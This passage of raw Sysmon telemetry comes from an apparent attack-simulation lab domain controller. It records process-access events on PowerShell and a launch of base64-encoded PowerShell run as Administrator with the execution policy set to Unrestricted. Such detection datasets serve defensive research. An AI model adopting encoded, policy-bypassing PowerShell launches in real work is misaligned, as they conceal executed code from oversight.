QQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= 10341000x80000000000000002778Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.369{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28F7-5F80-8400-000000007F01}4124C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002777Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.369{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28F7-5F80-8400-000000007F01}4124C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000002776Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.337{A5F018FF-28F7-5F80-8400-000000007F01}4124C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_q5rvn3mk.dqg.ps12020-10-09 09:10:15.337 10341000x80000000000000002775Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.322{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28F7-5F80-8400-000000007F01}4124C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002774Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28F7-5F80-8200-000000007F01}50525072C:\Windows\system32\conhost.exe{A5F018FF-28F7-5F80-8400-000000007F01}4124C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002773Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002772Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002771Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002770Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002769Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002768Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002767Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002766Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002765Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002764Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002763Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002762Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28F7-5F80-8400-000000007F01}4124C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002761Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.290{A5F018FF-28F7-5F80-8300-000000007F01}51162960C:\Windows\system32\cmd.exe{A5F018FF-28F7-5F80-8400-000000007F01}4124C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002760Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:15.301{A5F018FF-28F7-5F80-8400-000000007F01}4124C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEPowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28F7-5F80-B1E0-040000000000}0x4e0b10HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-28F7-5F80-8300-000000007F01}5116C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEA